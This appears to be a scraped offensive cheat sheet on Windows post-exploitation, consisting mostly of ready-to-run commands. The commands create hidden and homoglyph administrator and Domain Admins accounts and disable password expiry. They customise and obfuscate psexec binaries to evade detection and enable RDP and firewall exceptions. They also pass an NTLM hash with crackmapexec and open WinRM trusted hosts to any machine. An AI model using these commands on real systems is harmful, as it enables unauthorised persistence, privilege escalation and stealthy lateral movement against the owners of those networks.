net user hacker Hcker_12345678* /add /Y net localgroup administrators hacker /add net localgroup "Remote Desktop Users" hacker /add # RDP access net localgroup "Backup Operators" hacker /add # Full access to files net group"Domain Admins" hacker /add /domain
# enable a domain user account net user hacker /ACTIVE:YES /domain
# prevent users from changing their password net user username /Passwordchg:No
# prevent the password to expire net user hacker /Expires:Never
# create a machine account (not shown in net users) net user /add evilbob$ evilpassword
# homoglyph Aԁmіnistratοr (different than Administrator) Aԁmіnistratοr
Instead of uploading psexeccsv service binary, it uploads to ADMIN$ a service binary with an arbitrary name. PSExec default kavika13/RemCom binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections (snovvcrash/RemComObf.sh)
Use a custom binary and service name with : psexec.py Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe
Also a custom file can be specified with the parameter : -file /tmp/RemComSvcCustom.exe. You need to update the pipe name to match “Custom_communication” in the line 163
1 2
162 tid = s.connectTree('IPC$') 163 fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
RDP
Enable RDP and disable NLA and fix CredSSP errors.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
# Enable RDP PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f PS C:\> netsh advfirewall firewall set rule group="remote desktop" new enable=Yes PS C:\> netsh advfirewall firewall set rule group="remote administration" new enable=Yes PS C:\> netsh firewall set service remoteadmin enable PS C:\> netsh firewall set service remotedesktop enable # Alternative C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 root@payload$ crackmapexec 192.168.1.100-u Jaddmon -H5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
# Enable PSRemoting on host Enable-PSRemoting-Force net start winrm
# Add the machine to the trusted hosts Set-Item wsman:\localhost\client\trustedhosts * Set-Item WSMan:\localhost\Client\TrustedHosts -Value"10.10.10.10"
To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /d 1
To prevent RID 500 from being able to WmiExec or PsExec, execute: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /f /d 1